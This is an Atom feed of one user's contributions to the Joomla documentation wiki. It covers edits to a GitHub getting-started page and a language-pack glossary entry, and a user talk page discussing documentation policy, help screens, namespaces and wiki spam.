<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Cadrlp</id>
	<title>Joomla! Documentation - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Cadrlp"/>
	<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/Special:Contributions/Cadrlp"/>
	<updated>2026-09-30T14:02:32Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.43.0</generator>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=GitHub&amp;diff=919956</id>
		<title>GitHub</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=GitHub&amp;diff=919956"/>
		<updated>2022-06-09T03:40:15Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Getting Started Guides */ update link to https://docs.github.com/en/get-started&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[https://www.github.com GitHub] is a development platform inspired by the way you work. From open source to business, you can host and review code, manage projects, and build software alongside 50 million developers.&lt;br /&gt;
&lt;br /&gt;
The Joomla CMS code base and many other aspects of the project are managed using GitHub as a version control and project management tool.&lt;br /&gt;
&lt;br /&gt;
==Getting Started==&lt;br /&gt;
===Create an account===&lt;br /&gt;
To start using GitHub, create an account at https://github.com/signup&lt;br /&gt;
&lt;br /&gt;
===Getting Started Guides===&lt;br /&gt;
GitHub have a comprehensive [https://docs.github.com/en/get-started Getting Started] section which new users would be well served to familiarize themselves with.&lt;br /&gt;
&lt;br /&gt;
===The Joomla CMS Repository===&lt;br /&gt;
[https://github.com/joomla/joomla-cms Joomla&#039;s main CMS Repository] is where you can assist with tasks like patch testing, contributing code and reporting issues you find with the system.&lt;br /&gt;
&lt;br /&gt;
There are many other repositories managed by Joomla which you can either browse in GitHub, or private repositories you may be invited to join when you are a member of a Joomla Team.&lt;br /&gt;
&lt;br /&gt;
==GitHub Glossary==&lt;br /&gt;
In participating in the Joomla project as a coder, patch tester or other contributor, there&#039;s a variety of terms that are related directly to using GitHub. These resources should assist you with understanding this terminology:&lt;br /&gt;
* [https://docs.github.com/en/github/getting-started-with-github/github-glossary GitHub Glossary]&lt;br /&gt;
&lt;br /&gt;
[[Category:Volunteer Engagement]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=GitHub&amp;diff=919955</id>
		<title>GitHub</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=GitHub&amp;diff=919955"/>
		<updated>2022-06-09T03:38:21Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Create an account */ direct link to signup https://github.com/signup&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[https://www.github.com GitHub] is a development platform inspired by the way you work. From open source to business, you can host and review code, manage projects, and build software alongside 50 million developers.&lt;br /&gt;
&lt;br /&gt;
The Joomla CMS code base and many other aspects of the project are managed using GitHub as a version control and project management tool.&lt;br /&gt;
&lt;br /&gt;
==Getting Started==&lt;br /&gt;
===Create an account===&lt;br /&gt;
To start using GitHub, create an account at https://github.com/signup&lt;br /&gt;
&lt;br /&gt;
===Getting Started Guides===&lt;br /&gt;
GitHub have a comprehensive [https://docs.github.com/en/github/getting-started-with-github Getting Started] section which new users would be well served to familiarize themselves with.&lt;br /&gt;
&lt;br /&gt;
===The Joomla CMS Repository===&lt;br /&gt;
[https://github.com/joomla/joomla-cms Joomla&#039;s main CMS Repository] is where you can assist with tasks like patch testing, contributing code and reporting issues you find with the system.&lt;br /&gt;
&lt;br /&gt;
There are many other repositories managed by Joomla which you can either browse in GitHub, or private repositories you may be invited to join when you are a member of a Joomla Team.&lt;br /&gt;
&lt;br /&gt;
==GitHub Glossary==&lt;br /&gt;
In participating in the Joomla project as a coder, patch tester or other contributor, there&#039;s a variety of terms that are related directly to using GitHub. These resources should assist you with understanding this terminology:&lt;br /&gt;
* [https://docs.github.com/en/github/getting-started-with-github/github-glossary GitHub Glossary]&lt;br /&gt;
&lt;br /&gt;
[[Category:Volunteer Engagement]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User:Cadrlp&amp;diff=919954</id>
		<title>User:Cadrlp</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User:Cadrlp&amp;diff=919954"/>
		<updated>2022-06-09T03:33:17Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: Thank you to the Joomla Developers.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Cadrlp&lt;br /&gt;
&lt;br /&gt;
Using Joomla 4.1.4, with my projects.&lt;br /&gt;
&lt;br /&gt;
Thank you to the Joomla team.&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Chunk:Language&amp;diff=80415</id>
		<title>Chunk:Language</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Chunk:Language&amp;diff=80415"/>
		<updated>2013-02-02T22:06:28Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: spelling of internationalised&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Languages are perhaps the most basic and critical [[Extensions|extension]] type. Languages are packaged as either a core language pack or an extension language pack. These packages consist of INI files which contain key/value pairs. These key/value pairs provide the translation of static text strings within Joomla! source code. This allows both the Joomla! core and third party components and modules to be internationalised. Core language packs also include an XML meta file describing the language and providing information about the fonts to use for PDF content generation.&amp;lt;noinclude&amp;gt;[[Category:Glossary definitions|{{PAGENAME}}]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User_talk:Chris_Davenport&amp;diff=77286</id>
		<title>User talk:Chris Davenport</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User_talk:Chris_Davenport&amp;diff=77286"/>
		<updated>2012-10-31T06:29:52Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Mediwiki Spam a better way to manage it */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;What was the reason my edits were removed?&lt;br /&gt;
&lt;br /&gt;
Linking to external sites is classed as &amp;quot;self-promotion&amp;quot;.  If you wish to contribute videos (or any other resource) then they need to be hosted on our infrastructure.  Ideally they will also be JEDL licensed, although we will consider material under other open licenses as long as the license terms are clearly shown.  I look forward to seeing your videos.  Just send them to me and I&#039;ll arrange to put them in an appropriate place.  Thanks. [[User:Chris Davenport|Chris Davenport]] 03:43, 12 December 2008 (EST)&lt;br /&gt;
&lt;br /&gt;
== basic template tutorial ==&lt;br /&gt;
&lt;br /&gt;
You removed the warning notice I added to the tutorial, IMHO it is better to warn people that the basic tutorial will *not* give them a working template than letting them wonder why the template manager refuse to install their template. This notice should stay until someone fix the tutorial. For example removing the reference to the optional background.png from the xml because joomla will complain about a missing file and refuse to install the template. The xml example ought to be coherent with the outline of folder/file structure. Adding some mention of the role and importance the thumbnail file is another thing worth mention among the errors I had to fix for the template to actually install.&lt;br /&gt;
&lt;br /&gt;
I removed your comments because they were not constructive.  If you encountered a specific problem with the tutorial you should describe the issue in enough detail that someone would be able to reproduce it and then be able to amend the tutorial.  You should also do that on the Talk: page rather than on the page itself.  Better still you could amend the tutorial yourself; we welcome additions or amendments that improve the documentation. [[User:Chris Davenport|Chris Davenport]] 08:52, 15 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
This revert thing is gonna get old quick. I can easily return the compliment and say I undid your removal because it&#039;s not constructive either, that If you encountered a specific problem with my editing, you should tell me about it in details on my talk page or point that warning readers that the tutorial is broken is improving the documentation, and the first step of actually fixing it. You should know better than what you did, I don&#039;t have the required knowledge and time to fix it myself. If you wanted to reproduce the issue, you just have to follow the tutorial step-by-step, better yet you can read the tutorial and you&#039;ll notice that it cannot work as is, or maybe just read what I wrote above and you&#039;ll see I did exactly what you asked me. On a related note don&#039;t invite someone to do something them block their account to prevent him from doing so, act stupid and treat people badly and they will act stupid too and behave as you expect them too. IMHO it&#039;s not smart to fight over such a ridiculous thing, but if you want me to waste both your and my time I&#039;ll take you on your challenge, so unless you&#039;re willing to block the whole ip range I&#039;m using, I&#039;ll come back and do it again. This is the kind of behaviour you usually get from relying on http://meatballwiki.org/wiki/HardSecurity first and not trying to communicate instead of http://meatballwiki.org/wiki/SoftSecurity. see you soon from another ip. While at it also read http://meatballwiki.org/wiki/CriticismIsFeedback&lt;br /&gt;
&lt;br /&gt;
All I am asking is that you edit the page in such a way that others can see the problem you encountered and can correct the information given.  Simply saying that &amp;quot;...will end up in a few various errors...&amp;quot; does little to help us.  What errors did you encounter?  What version of Joomla were you using?  What platform are you running Joomla on?  Just stating that there are errors is like submitting a bug report that does nothing more than state that there is a bug in 1.6.  Your hostile behaviour is uncalled for.  07:29, 16 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Templates ==&lt;br /&gt;
&lt;br /&gt;
Hello&lt;br /&gt;
I wanna ask, who can edit the Template Namespace in this Wiki? It would be cool, if a &amp;quot;normal&amp;quot; user could add some templates, cause I got a permission denied message --[[User:Bembelimen|Bembelimen]] 20:17, 23 December 2008 (UTC)&lt;br /&gt;
&lt;br /&gt;
I wasn&#039;t aware that it was restricted.  What page/template are you trying to edit/create? [[User:Chris Davenport|Chris Davenport]] 21:06, 23 December 2008 (UTC)&lt;br /&gt;
:It doesn&#039;t matter which one i try to edit or create. I get everytime this message:&lt;br /&gt;
:&#039;&#039;&#039;Permission error&#039;&#039;&#039;&lt;br /&gt;
:You do not have permission to edit pages, for the following reason:&amp;lt;br /&amp;gt;&lt;br /&gt;
:You do not have permission to edit pages in the &#039;&#039;&#039;Template&#039;&#039;&#039; namespace.&lt;br /&gt;
:--[[User:Bembelimen|Bembelimen]] 21:37, 23 December 2008 (UTC)&lt;br /&gt;
&lt;br /&gt;
I moved you to the Editors group.  Try it now.  [[User:Chris Davenport|Chris Davenport]] 23:36, 23 December 2008 (UTC)&lt;br /&gt;
:works now, thank you --[[User:Bembelimen|Bembelimen]] 23:52, 23 December 2008 (UTC)&lt;br /&gt;
&lt;br /&gt;
== J1.6 Help system ==&lt;br /&gt;
&lt;br /&gt;
I read that all will be different for Help in 1.6.  Can you please point me to plans for Help 1.6? Tony Davis 06:02, 3 November 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
Help for Joomla 1.5 and prior versions has traditionally been served from pages on http://help.joomla.org, which is itself a Joomla instance.  In fact, the help system implemented in all Joomla versions up to 1.5 is hard-coded to require that the help server be a Joomla instance (probably not intentionally, but that&#039;s the way it worked out).  That caused a couple of problems:&lt;br /&gt;
# When we moved the focus of the documentation effort to a wiki, it made sense to construct the help screens on the wiki too.  However, this meant that we had to copy-paste the help screens from the wiki to help.joomla.org and whilst this is straightforward in theory, it is actually very labour-intensive and there is a lot of manual &amp;quot;fixing-up&amp;quot; that had to be done.&lt;br /&gt;
# It didn&#039;t solve a problem that had always existed with the help screens: clicking on a link in a help screen causes the next page to be loaded to appear with the full Joomla template, including headers, footers and modules, when it would be better to have just the help screen content display.&lt;br /&gt;
The first of these problems is addressed by serving the help screens directly from the wiki.  However, this requires some minor code changes in Joomla itself.  There is a patch to enable 1.5 to access non-Joomla help servers, but I believe it needs tweaking for 1.6 and I haven&#039;t had chance to do that yet.  The second of these problems is addressed by serving the help screens via a proxy instead of directly from the wiki.  The proxy is a Joomla instance running a small component and is already set up and running at http://help.joomla.org/proxy.  It uses the wiki&#039;s web API to pull data from the wiki and because it has a stripped-down default template, it doesn&#039;t deliver any headers, footers or modules that are not intended.&lt;br /&gt;
&lt;br /&gt;
As for the help screens themselves, the user interface for 1.6 is not yet fixed so it probably not wise to start writing the help screens (which generally involve a lot of screenshots) until it is.  It is expected that the UI will be fixed when the first beta is released, so that should be the starting point for writing help screens.  Of course, there&#039;s nothing to stop anyone starting before then, you just need to be aware that changes are very likely to happen.&lt;br /&gt;
&lt;br /&gt;
The other area which is still &amp;quot;up for grabs&amp;quot; is a new key reference scheme.  The help system works by having a &amp;quot;key reference&amp;quot; embedded in the code.  This is then used to construct a URL from which the help screen is pulled.  You can see the traditional naming scheme here: [[Help screens]].  However, with 1.6 we have the opportunity to completely revise this scheme if we want to.  For example, we could add a namespace to the key reference, giving us &amp;quot;Joomla16:Config&amp;quot; instead of &amp;quot;screen.config.16&amp;quot;, say.  I&#039;m not saying we should do that; I&#039;m just illustrating the point that we have a great deal of flexibility and with 1.6 we don&#039;t have to worry about backwards-compatibility as there won&#039;t be any even if we stick with the current naming scheme.&lt;br /&gt;
&lt;br /&gt;
In 1.5 (and before) the Joomla version number was appended to the basic key reference automatically.  With the new help system, we can construct URL&#039;s with a lot more flexibility and we can make use of the following variables:&lt;br /&gt;
* keyref&lt;br /&gt;
*: The basic key reference itself&lt;br /&gt;
* major&lt;br /&gt;
*: The major part of the Joomla version number.&lt;br /&gt;
* minor&lt;br /&gt;
*: The minor part of the Joomla version number.&lt;br /&gt;
* maintenance&lt;br /&gt;
*: The maintenance part of the Joomla version number.&lt;br /&gt;
* language&lt;br /&gt;
*: The full language code (eg. &amp;quot;en-GB&amp;quot;)&lt;br /&gt;
* langregion&lt;br /&gt;
*: The region part of the language code (eg. &amp;quot;GB&amp;quot;).&lt;br /&gt;
These variables can be used anywhere within a help system URL to construct the page name to be retrieved.&lt;br /&gt;
&lt;br /&gt;
Hope that helps.&lt;br /&gt;
[[User:Chris Davenport|Chris Davenport]] 09:36, 3 November 2009 (UTC)&lt;br /&gt;
Thanks for that Chris.&lt;br /&gt;
&lt;br /&gt;
I take it from the above that one decision (or obvious thing) is that 1.6 Help will be a Joomla based system.  Which leads to the question - Should the documentation be similarly based?  I see it all being of a piece - the Help Screens being the descriptive part of the User Manual but there also being Introductory texts, Tutorials, Videos, Recipes (a lesser form of Tutorial to encourage folk to write them).  It will be accessed either contextually - as a Help System - or like a Cookery Book or like a programming tutorial text.  Is this totally daft?&lt;br /&gt;
&lt;br /&gt;
I have built a whole heap of wiki pages and have learnt loads.  see [http://docs.joomla.org/Manual_1_6 the root]  I am concerned about controlling it.  Could you look at Amy&#039;s Ning in two places [http://www.alltogetherasawhole.org/group/joomla16userguide/forum/topics/are-things-going-in-the-right bottom of this page] and [http://www.alltogetherasawhole.org/group/joomla16userguide/forum/topics/style-and-content this post] asking for volunteers. &lt;br /&gt;
&lt;br /&gt;
All advice gratefully received. Tony Davis 22:02, 3 November 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
Not sure I follow what you mean when you say that &amp;quot;1.6 Help will be a Joomla based system&amp;quot;.  The English help screens for 1.6 are going to be served from the wiki, although they are going through a proxy that happens to be running Joomla (I could just as easily have written some standalone PHP to act as a proxy, or if I knew how, a Drupal instance).  The fact that all the documentation will be in the wiki, including the help screens, means that we can share content between the help screens and other forms of documentation.  For example, I hope that the new 1.6 help screens will include links to more task-orientated pages.  I wouldn&#039;t include the help screens as such in the User Manual as they mostly just describe what you see on a particular Administrator screen.  I think that the User Manual (or Administrator&#039;s Manual as I prefer to call it) should be more task/goal orientated.  I made a start at  the sort of material I thought was appropriate on this page: [[Administrators]].  This is not to say that we cannot share content between the help screens and the User Manual though, but including an entire help screen in the User Manual is probably not very helpful.&lt;br /&gt;
&lt;br /&gt;
I haven&#039;t had chance to read the Ning pages thoroughly, but I think Amy is right when she says that we should not expect authors to be wiki experts.  We need to encourage people to write the raw material that can then be shaped by others into the modular, context-independent form that is the life-blood of a single-source, modular documentation system.  [[User:Chris Davenport|Chris Davenport]] 23:19, 3 November 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Extensions Updates ==&lt;br /&gt;
&lt;br /&gt;
I noticed you are in process of updating the page. I am wondering if your update might contain any new information regarding Zoom Media Gallery (a now dead project), or Ice Gallery (Zoom&#039;s replacement project, which may also be either dead or in serious limbo). Ice Gallery, it seems, has a serious vulnerability, and is not yet listed here. In any event, Ice should be added, and Zoom entry should be updated as well. I have the info, and can do, if you don&#039;t. --[[User:Riverside|Riverside]] 00:16, 21 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
I&#039;m not involved in maintaining that information.  Please email vel@joomla.org to report vulnerabilities.  Thank you.  [[User:Chris Davenport|Chris Davenport]] 00:25, 21 November 2010 (UTC)&lt;br /&gt;
:Sorry, I was looking at the wrong history page (talk, instead of the main page ~ so apparently it wasn&#039;t you editing it), but I will send what I&#039;ve found there. Thanks. --[[User:Riverside|Riverside]] 18:58, 21 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
==Templates for 1.6==&lt;br /&gt;
Chris,&lt;br /&gt;
Just wondering if you got my email regarding chunks and templates for the 1.6 help screens.  I&#039;d like to be editing and updating a lot of these screens but I&#039;m not going to do anything until we can figure out a good way to handle chunks.&lt;br /&gt;
Would appreciate a response.&lt;br /&gt;
[[User:219jondn|219jondn]] 01:48, 21 January 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Terminology ==&lt;br /&gt;
&lt;br /&gt;
I note that you removed the material I put on the evaluators page about terminology. &lt;br /&gt;
Could you clarify your reasons please ? [[User:Vernonr|Vernonr]] 10:27 4 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
Yes, you linked to material on your user page, which is not a good idea as all material should be in one of the main namespaces rather than in personal areas.  Plus, your user page contained references to external sites which could be construed as self-promotion (see [[JDOC:Wiki_policy|Wiki_policy]].  Although the links are acceptable on user pages, they would not be acceptable on main documentation pages.  You can fix it easily by writing directly in the Evaluators page and not linking to external sites. [[User:Chris Davenport|Chris Davenport]] 19:53, 4 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
OK. How can one create a new page in the main namespace ?&lt;br /&gt;
&lt;br /&gt;
I think it would make more sense to have an introductory page about terminology than to try and fit the material into the Evaluators page, and there could be other pages in the main namespace that should have the link. Would I be right in thinking that noting the authorship of articles is allowed under [[JDOC:Wiki_policy|Wiki_policy]] i.e. a link to the user page [[User:Vernonr|Vernonr]] 10:20 5 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
You don&#039;t need any additional permissions to create pages in the main namespace, so just go right ahead.  It is not necessary to note authorship in the pages themselves as all pages have full version history automatically recorded, including links to user pages (just click the &amp;quot;history&amp;quot; tab on any page). [[User:Chris Davenport|Chris Davenport]] 21:14, 5 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
=== Change permission of content ===&lt;br /&gt;
Hi.&lt;br /&gt;
I would ask permission to move pages from the template namespace which are actually in course descriptions and pages that have links pointing to them.&lt;br /&gt;
I have as main objective the wiki organization and redesign the landing pages.&lt;br /&gt;
&lt;br /&gt;
Thanks,&lt;br /&gt;
[[User:Wgviana|WGViana]]&lt;br /&gt;
&lt;br /&gt;
Hi WGVianna.  Can you give me some examples of the changes you are proposing?  Moving templates needs to be done with care and I want to make sure that what you are proposing fits with our overall objectives.  Thanks.  [[User:Chris Davenport|Chris Davenport]] 14:39, 8 September 2011 (CDT)&lt;br /&gt;
&lt;br /&gt;
Hi Chris.&lt;br /&gt;
List pages =&amp;gt; [http://docs.joomla.org/index.php?title=Special%3AAllPages&amp;amp;from=&amp;amp;to=&amp;amp;namespace=10|SpecialPages:Allpages], there are pages in this namespace that are in my view should namespace &#039;&#039;&#039;description&#039;&#039;&#039; such as:&lt;br /&gt;
*[[Template:Beginner_profile]]&lt;br /&gt;
*[[Template:Framework]]&lt;br /&gt;
*[[Template:Model-View-Controller]]&lt;br /&gt;
*[[Template:Upgrade_Package]]&lt;br /&gt;
*[[Template:Upgrade-test]]&lt;br /&gt;
*[[Template:Version_Control_Software]]&lt;br /&gt;
[[User:Wgviana|WGViana]] 12:00, 9 September 2011&lt;br /&gt;
&lt;br /&gt;
Hi Wgviana.  I agree they should not be in the Template: namespace.  However, I think they should be moved to the Chunk: namespace rather than Description:.  The Description: namespace was set up specifically for class and method descriptions in the API Reference.  I have added you to the Editors group so you should be able to make the changes yourself now.  Thanks for volunteering.  [[User:Chris Davenport|Chris Davenport]] 16:15, 12 September 2011 (CDT)&lt;br /&gt;
&lt;br /&gt;
==Minor Spelling Issue==&lt;br /&gt;
Hi Chris, Top of the protected page:[http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable_Extensions_List] &amp;quot;Jnuary&amp;quot; is probably &amp;quot;January&amp;quot; with an &amp;quot;a&amp;quot;. Thank you&lt;br /&gt;
&lt;br /&gt;
== Translations into french ==&lt;br /&gt;
&lt;br /&gt;
Hi. I&#039;m a french speaking Joomla enthousiast ;) I&#039;d like to port Security Guide into French, as this seems to be a main concern for some french speaking users. I could of course host that on my personal page, or as a guide on the french forum about Joomla, but I think that the best way should be to start a translation of the Wiki into french. Do you think it could be possible to have a subpage like the ones available for the brochure ? Is there something specific to do ? Is it a good practice or not ?&lt;br /&gt;
&lt;br /&gt;
[[User:Elnikoff|Elnikoff]] 03:25, 30 November 2011 (CST)&lt;br /&gt;
&lt;br /&gt;
== Help25 ==&lt;br /&gt;
&lt;br /&gt;
What are those changes you did with Help25?? [[User:Oc666|oc666]] 17:04, 25 December 2011 (CST)&lt;br /&gt;
&lt;br /&gt;
Help25 is a new namespace for the Joomla 2.5 help screens.  So far I have just copied across all the Joomla 1.7 help screens and amended all 1.6/1.7 references to 2.5.  I&#039;m just now trying to work systematically through all the toolbar sections. If you have some time and you&#039;d like to lend a hand, just dive straight in, or let me know if you need some pointers. [[User:Chris Davenport|Chris Davenport]] 17:10, 25 December 2011 (CST)&lt;br /&gt;
&lt;br /&gt;
== Define default name ==&lt;br /&gt;
&lt;br /&gt;
What should be the correct nomenclature?&lt;br /&gt;
manager or management&lt;br /&gt;
{|&lt;br /&gt;
|-style=&amp;quot;vertical-align:top&amp;quot;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Extensions&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Components&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Languages&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Modules&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Plugins&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Templates&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
I believe we should create the following categories:&lt;br /&gt;
* Language&lt;br /&gt;
** Language Management&lt;br /&gt;
and organizer:&lt;br /&gt;
* Extension Management&lt;br /&gt;
** Component Management&lt;br /&gt;
** Language Management&lt;br /&gt;
** Module Management&lt;br /&gt;
** Plugin Management&lt;br /&gt;
** Template Management&lt;br /&gt;
--[[User:Wgviana|Wgviana]] 14:49, 25 March 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
I think that &amp;quot;manager&amp;quot; would refer to the component whereas &amp;quot;management&amp;quot; would refer to the process.  Personally, I think &amp;quot;management&amp;quot; would be more appropriate in the category names.  [[User:Chris Davenport|Chris Davenport]] 16:20, 25 March 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
== External links come automatically with signature ==&lt;br /&gt;
&lt;br /&gt;
Hello Chris,&lt;br /&gt;
&lt;br /&gt;
Not to complain, but just to inform you why the link to my site appeared on [[http://docs.joomla.org/index.php?title=Accessing_the_database_using_JDatabase&amp;amp;action=history]] (and possibly make someone change this wiki automatisation):&lt;br /&gt;
It&#039;s because I put 3 tilda&#039;s there to let everyone know which user said this (as I thought was appropriate because it was rather a editing note and not joomla specific knowledge).&lt;br /&gt;
So, maybe the 3 tilda&#039;s should be changed somehow in this wiki? Because after all, I&#039;d still want that link to exist in my User info.&lt;br /&gt;
&lt;br /&gt;
Cheers&lt;br /&gt;
(No reply needed, you can immediatly delete this if you want)&lt;br /&gt;
&lt;br /&gt;
:Hmm, okay.  I usually use 4 tildas, so this is a test with 3 tildas. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]])&lt;br /&gt;
&lt;br /&gt;
:So for me using 3 tildas just adds links to the user&#039;s local profile page and profile talk page.  Ahh, I wonder if you have a link in your signature.  Please check the signature field in your user preferences and remove the external link if there is one.  Thanks. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 15:18, 12 September 2012 (CDT)&lt;br /&gt;
::Apperently it had everything to do with my signature.  I originally thought that had nothing to do with the tilda&#039;s, but it has. [[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]]) 15:01, 21 September 2012 (CDT)&lt;br /&gt;
:::Thanks. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 03:32, 22 September 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Deleting page sends mail &amp;quot;created page&amp;quot; ?? ==&lt;br /&gt;
&lt;br /&gt;
Hello again Chris,&lt;br /&gt;
&lt;br /&gt;
I got a mail from the wiki saying you just created the page http://docs.joomla.org/Using_a_custom_image_in_the_Menu_Bar_title.&lt;br /&gt;
I guess this is some template or other wiki misconfiguration, since you just deleted it.&lt;br /&gt;
I didn&#039;t know where to put this comment, so here it is.  Feel free to forward to someone responsible, able or willing to fix it. :-)&lt;br /&gt;
[[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]])&lt;br /&gt;
&lt;br /&gt;
:It&#039;s a &amp;quot;bug&amp;quot; that&#039;s been in MediaWiki for years.  The notification emails are identical whether a page is amended or deleted.  I&#039;m so used to it now I just don&#039;t notice it any more. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 14:25, 4 October 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
== CodeExamples en categories with :: ==&lt;br /&gt;
&lt;br /&gt;
Hallo again, Chris,&lt;br /&gt;
Weren&#039;t you the guy that included CodeExamples in this wiki?&amp;lt;br/&amp;gt;&lt;br /&gt;
If not, any idea who is or who is the wiki-responsible  to talk to? &amp;lt;br/&amp;gt;&lt;br /&gt;
If so, read on..&lt;br /&gt;
&lt;br /&gt;
I tried to help people by giving this CodeExample [[CodeExample:JHtml::stylesheet]], but it doesn&#039;t show up in the JHtml::stylesheet.&amp;lt;br/&amp;gt; On inspection of some of those pages, I noticed that a lot of (if not all) categories that have a &amp;quot;::&amp;quot; in them, show up as red (as if they don&#039;t exist), but they do.  so I was wondering if that wasn&#039;t also the reason for my code-example not to show up.&lt;br /&gt;
[[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]]) 12:26, 4 October 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
:The CodeExample extension is currently broken following an upgrade to the MediaWiki software.  I keep meaning to try to fix it, but workload keeps getting the better of me.  If you&#039;re a developer and you&#039;d like to take a look then please drop me a line. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 14:25, 4 October 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
:: I don&#039;t think that I will have the time, but you can send me the php or template or whatever so I have it when I find the time and &amp;quot;power&amp;quot; ;-) [[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]])&lt;br /&gt;
&lt;br /&gt;
== Mediwiki Spam a better way to manage it ==&lt;br /&gt;
Hello Chris,&lt;br /&gt;
&lt;br /&gt;
Looking thru the &#039;&#039;Recent Changes&#039;&#039; it seems like a lot of bogus wiki accounts are made and then used to spam the wiki. Has anyone looked at installing the [http://www.mediawiki.org/wiki/Extension:ConfirmAccount Extension:ConfirmAccount] and instead of requesting a 50 word biography for the request form only ask for about 5 words to prove they are human that then can be rejecting or accepted? The intent being to reduce the amount of time currently spent chasing and deleting the spam pages and is not to get a real bio only to see if it is a real person who is not planning just to spam the wiki.&lt;br /&gt;
&lt;br /&gt;
The request wording: &#039;&#039;&#039;Are you a human, and not just signing up to spam our wiki? One of the Joomla! people will read what you write here and then confirm your account. Sorry for the inconvenience, but reducing spam on the wiki makes this step necessary...&#039;&#039;&#039;&lt;br /&gt;
* Q:Why do you want a login? (plain text only):&lt;br /&gt;
:Since we would need to examine all user registrations in order to accept or reject them, your proposal would, I think, involve more work rather than less.  Although there are a lot of spam registrations, only a few confirm their email addresses and the present rate of at most a handful of spam posts per day is manageable.  Thanks for the suggestion though.  [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 19:39, 29 October 2012 (CDT)&lt;br /&gt;
:: Your Welcome.. [[User:Cadrlp|Cadrlp]] ([[User talk:Cadrlp|talk]]) 01:29, 31 October 2012 (CDT)&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User_talk:Chris_Davenport&amp;diff=76971</id>
		<title>User talk:Chris Davenport</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User_talk:Chris_Davenport&amp;diff=76971"/>
		<updated>2012-10-26T00:52:56Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* CodeExamples en categories with :: */ Mediwiki Spam and better ways to manage it&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;What was the reason my edits were removed?&lt;br /&gt;
&lt;br /&gt;
